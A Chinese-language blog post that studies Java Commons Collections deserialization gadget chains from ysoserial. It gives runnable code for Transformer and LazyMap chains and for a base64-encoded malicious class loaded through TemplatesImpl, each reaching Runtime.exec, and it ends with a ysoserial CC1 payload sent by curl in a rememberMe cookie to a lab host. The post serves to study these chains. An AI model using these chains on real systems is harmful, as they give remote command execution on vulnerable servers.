2652 字
13 分钟
Commons Collections反序列化链核心组件剖析与攻击链路复盘
Commons Collections反序列化链核心组件剖析与攻击链路复盘
声明
- 本文为个人学习java反序列化时,对于ysoserial中的cc链路的实现原理的学习过程简单记录,主要用于个人技术学习,许多分析仅供参考,若有错误之处希望得到指正。
- ysoserial的下载地址为’https://github.com/frohoff/ysoserial’
- 文章组织思路和原理分析主要参考了以下两篇大佬的文章,讲的都很详细:
- CC链 1-7 分析:‘https://xz.aliyun.com/news/8908’
- Java 反序列化取经路:‘https://su18.org/post/ysuserial/’
- 由于时间有限,cc链路分析会不定期更新,希望能早日补全,现在更新到cc1。
常用Transformer及重要辅助类代码分析
ConstantTransformer核心代码分析
public class ConstantTransformer implements Transformer, Serializable { // 序列化版本号,用于反序列化时校验版本一致性 static final long serialVersionUID = 6374440726369055124L; // 一个创建好的返回null的转换器实例 public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); // (重要)iConstant:用于存储要固定返回的对象 private final Object iConstant; // 一个静态方法,用于获取一个ConstantTransformer实例 public static Transformer getInstance(Object constantToReturn) { // 如果传入的是 null,就返回上面预先创建好的NULL_INSTANCE,不是null则new一个ConstantTransformer对象 return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); } // 接收一个对象(接收的constantToReturn)赋值给iConstant,即下面transform方法要固定返回的那个值 public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } // (重要)实现了Transformer接口的transform方法,input:传入的任意对象,返回值:直接返回iConstant。 public Object transform(Object input) { return this.iConstant; } ......}InvokerTransformer核心代码分析
public class InvokerTransformer implements Transformer, Serializable { static final long serialVersionUID = -8653385846894047688L; private final String iMethodName; //调用方法名 private final Class[] iParamTypes; //调用参数类型 private final Object[] iArgs; //调用参数值
...... // 构造函数 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
public Object transform(Object input) { if (input == null) { return null; } else { try { // transform方法核心部分 // 1. 获取输入对象的 Class 类型 Class cls = input.getClass(); // 2. 根据方法名和参数类型,从Class中获取Method对象 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //下面测试代码中调用此句在runtime.class中拿到exec方法 // 3. 反射调用该方法,传入参数值,并返回执行结果 return method.invoke(input, this.iArgs);
} catch ...... } }}InvokerTransformer可运行测试代码
(本文许多测试代码参考的声明中文章1中给出的测试代码并改编和补全,本段目的执行exec calc)
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;
public class Test { public static void main(String[] args) { //新建一个InvokerTransformer实例,传入待执行方法,参数和值 Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //该实例调用transform方法, transformer.transform(Runtime.getRuntime()); }}
InstantiateTransformer核心代码分析
- 作用:transform()方法接收了一个Class类型的对象,通过getConstructor(this.iParamTypes)获取参数数组匹配对应的构造方法,之后通过newInstance(this.iArgs)创建类实例。
public class InstantiateTransformer<T> implements Transformer<Class<? extends T>, T>, Serializable { private static final long serialVersionUID = 3786388740793356347L; private static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer(); private final Class<?>[] iParamTypes; private final Object[] iArgs;
//构造函数: public InstantiateTransformer(Class<?>[] paramTypes, Object[] args) { this.iParamTypes = paramTypes != null ? (Class[])((Class;)paramTypes).clone() : null; this.iArgs = args != null ? (Object[])((Object;)args).clone() : null; } //重写了transform方法,使得 public T transform(Class<? extends T> input) { try { if (input == null) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object"); } else { // 根据参数数组匹配对应的构造方法 Constructor<? extends T> con = input.getConstructor(this.iParamTypes); // 用参数值调用构造方法创建对象 return (T)con.newInstance(this.iArgs); } } catch ...... }}ChainedTransformer核心代码分析
public class ChainedTransformer<T> implements Transformer<T, T>, Serializable { private static final long serialVersionUID = 3514945074733160196L; //声明了一个私有不可变的Transformer数组 private final Transformer<? super T, ? extends T>[] iTransformers;
private ChainedTransformer(boolean clone, Transformer<? super T, ? extends T>[] transformers) { this.iTransformers = clone ? FunctorUtils.copy(transformers) : transformers; }
public ChainedTransformer(Transformer<? super T, ? extends T>... transformers) { this(true, transformers);//相当于this.iTransformers = transformers.clone(); } //(重要)重写transform方法:链式调用Transformer[]中每个Transformer的transform方法 public T transform(T object) { for(Transformer<? super T, ? extends T> iTransformer : this.iTransformers) { object = (T)iTransformer.transform(object); }
return object; }
}ChainedTransformer可运行测试代码(执行exec calc)
import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;
public class Test { public static void main(String[] args) { // 构建 Transformer 链 Transformer[] transformers = { // 返回 Runtime.class new ConstantTransformer(Runtime.class), // 获取 getMethod new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 调用 getRuntime new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 执行 calc new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
// 组装并执行 ChainedTransformer chain = new ChainedTransformer(transformers); chain.transform(null); }}
LazyMap核心代码分析
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { private static final long serialVersionUID = 7990956402564206740L; protected final Transformer factory; // 静态方法创建LazyMap对象(如 Map lazyMap = LazyMap.decorate(map, factory);) public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } // 将map传给父类保存,保留factory protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } // 核心方法 public Object get(Object key) { if (!super.map.containsKey(key)) { // 1.检查是否存在 Object value = this.factory.transform(key); // 2.利用key生成值 super.map.put(key, value); // 3.放入底层map return value; // 4. 返回生成值 } else { return super.map.get(key); // 直接返回已有值 } }}LazyMap可运行测试代码(执行exec calc)
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class Test { public static void main(String[] args) { // Transformer数组:定义调用链 Transformer[] transformers = new Transformer[] { // 第1步:返回Runtime.class对象 new ConstantTransformer(Runtime.class), // 第2步:通过反射调用Runtime.class上的getMethod方法,传入参数"getRuntime"和new Class[0],从而获取到代表Runtime.getRuntime()方法的Method对象。 new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ),
// 第3步:Method.invoke(null, null),执行Runtime.getRuntime(),返回Runtime实例 new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ),
// 第4步:调用Runtime.exec("calc"),执行系统命令,弹出计算器 new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} ) };
// 2. 把4个Transformer串成一个责任链 Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 创建 LazyMap,使用chainedTransformer作为工厂 Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer);
// 4. 触发:获取不存在的key"test" // 因为key不存在,LazyMap调用chainedTransformer.transform("test") // 于是上面的4步调用链依次执行,最终弹出计算器 lazyMap.get("test"); }}
TemplatesImpl核心代码分析
public final class TemplatesImpl implements Serializable { private static String ABSTRACT_TRANSLET = "org.apache.xalan.xsltc.runtime.AbstractTranslet"; // 必须继承的父类 private byte[][] _bytecodes = null; // 存储恶意字节码 private Class[] _class = null; // 存储加载后的类 private int _transletIndex = -1; private String _name = null; private transient TransformerFactoryImpl _tfactory = null;
// 1.defineTransletClasses()方法:创建类加载器、加载字节码、标记主类 private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { throw new TransformerConfigurationException("No bytecodes"); } //不能为空 // 创建自定义类加载器 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged( new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } } );
// 遍历字节码数组,逐个定义类 int classCount = _bytecodes.length; _class = new Class[classCount];
for (int i = 0; i < classCount; i++) { // 通过字节码加载恶意类 _class[i] = loader.defineClass(_bytecodes[i]); Class superClass = _class[i].getSuperclass(); // 检查是否继承AbstractTranslet(标记为主类) if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } } // 必须存在继承AbstractTranslet的主类,否则后续强转和实例化会失败 if (_transletIndex < 0) { throw new TransformerConfigurationException("No main translet"); } }
// 2.getTransletInstance()方法:实例化类(执行恶意代码) private Translet getTransletInstance() throws TransformerConfigurationException { if (_name == null) return null;
if (_class == null) { defineTransletClasses(); // 触发类加载,跳转1 }
// 核心: 实例化恶意类 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); // 执行点 return translet; }
// 3.入口方法: newTransformer() public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer = new TransformerImpl( getTransletInstance(), // 触发整个链,跳转2 this._outputProperties, this._indentNumber, this._tfactory ); return transformer; }}TemplatesImpl可运行测试代码(执行exec calc)
- 首先编写继承AbstractTranslet类的源码,编译为class文件。
package ysoserial.test.util;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet {
public Test() { super(); try{ Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}- 使用
base64 -w 0 Test.class拿到payload:yv66vgAAADIANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTHlzb3NlcmlhbC90ZXN0L3V0aWwvVGVzdDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMwAKAQAYeXNvc2VyaWFsL3Rlc3QvdXRpbC9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAfAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwAMAAAAGgAGAAAACwAEAA0ADQAQABAADgARAA8AFQARAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAASAAAAEAAC/wAQAAEHABMAAQcAFAQAAQAVABYAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEAEAARAAAAAAABABcAGAABAAAAAQAZABoAAgAbAAAABAABABwAAQAVAB0AAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABkADQAAACoABAAAAAEAEAARAAAAAAABABcAGAABAAAAAQAeAB8AAgAAAAEAIAAhAAMAGwAAAAQAAQAcAAEAIgAAAAIAIw== - 编写测试代码,成功弹出计算器。
package ysoserial.test.util;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.TransformerConfigurationException;import java.lang.reflect.Field;import java.util.Base64;
public class Test { //通过反射突破private限制 public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } }
public static void main(String[] args) throws TransformerConfigurationException { //恶意字节码 byte[] code = Base64.getDecoder().decode("yv66vgAAADIANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTHlzb3NlcmlhbC90ZXN0L3V0aWwvVGVzdDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMwAKAQAYeXNvc2VyaWFsL3Rlc3QvdXRpbC9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAfAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwAMAAAAGgAGAAAACwAEAA0ADQAQABAADgARAA8AFQARAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAASAAAAEAAC/wAQAAEHABMAAQcAFAQAAQAVABYAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEAEAARAAAAAAABABcAGAABAAAAAQAZABoAAgAbAAAABAABABwAAQAVAB0AAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABkADQAAACoABAAAAAEAEAARAAAAAAABABcAGAABAAAAAQAeAB8AAgAAAAEAIAAhAAMAGwAAAAQAAQAcAAEAIgAAAAIAIw==");
//反射设置 Field TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "Test"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); // 调用newTransformer()时,TemplatesImpl会依次执行逻辑 templates.newTransformer(); }}
ysoserial中的cc攻击链路分析
cc1详细链路
- 首先阅读ysoserial中的CommonsCollections1.java文件,在顶部有关于攻击链的注释,简单来说:利用AnnotationInvocationHandler在反序列化时对memberValues(传入的Map)的操作,通过动态代理将readObject事件伪装成对LazyMap的get()调用,从而触发ChainedTransformer的责任链,依次执行ConstantTransformer和多个InvokerTransformer,通过反射最终完成Runtime.getRuntime().exec(command)的任意命令执行。

- 前面LazyMap测试代码讲解已经说明了LazyMap的get()调用到触发ChainedTransformer链及之后的流程,这里则对于AnnotaionInvocationHandler部分进行补充:
- readObject方法:反序列化入口
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { // 执行反序列化 s.defaultReadObject(); // 获取注解的类型信息,用于校验 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }
// 获取注解中所有已定义成员的名称和类型 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 核心触发点 // 遍历反序列化恢复的memberValues(这是一个 Map),并调用entrySet()方法获取其所有键值对 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // ... String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); // ... }}- invoke方法(当代理对象上的方法被调用时,此方法会被自动触发)
public Object invoke(Object proxy, Method method, Object[] args) { // ......
// 获取被调用的方法名和参数类型 String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // 核心触发点 if (paramTypes.length == 0) { // 如果是无参方法 // 从memberValues(这里是真正的LazyMap对象)中,以方法名(member)为键获取值 Object result = memberValues.get(member); // ... } else { // ... 处理有参方法... }}- CC1链简单测试
- 简单在本机(windows)用ai搭建了一个存在漏洞的环境(使用影响版本内的jdk7u80编译),参照的shiro反序列化的环境并简化(对传入的cookie的rememberMe参数取值并触发base64解码和触发readobject),注意用cmd执行(PS的重定向默认以UTF-16 LE的文本格式处理输出)
F:\tools\environment\jdk7u80\bin\java.exe -jar F:\tools\serialize\ysoserial-all.jar CommonsCollections1 "calc.exe" > payload.ser来生成payload二进制文件,再用curl携带base64编码后的恶意cookie值构造request请求(POST/GET都可以)curl -H "Cookie: rememberMe=$(base64 -w0 payload.ser)" http://192.168.111.1:8080/,成功在windows主机弹出计算器。
cc?详细链路
- 施工中喵…
Commons Collections反序列化链核心组件剖析与攻击链路复盘
https://www.dxowo8.top/posts/post-36/36/ 部分信息可能已经过时







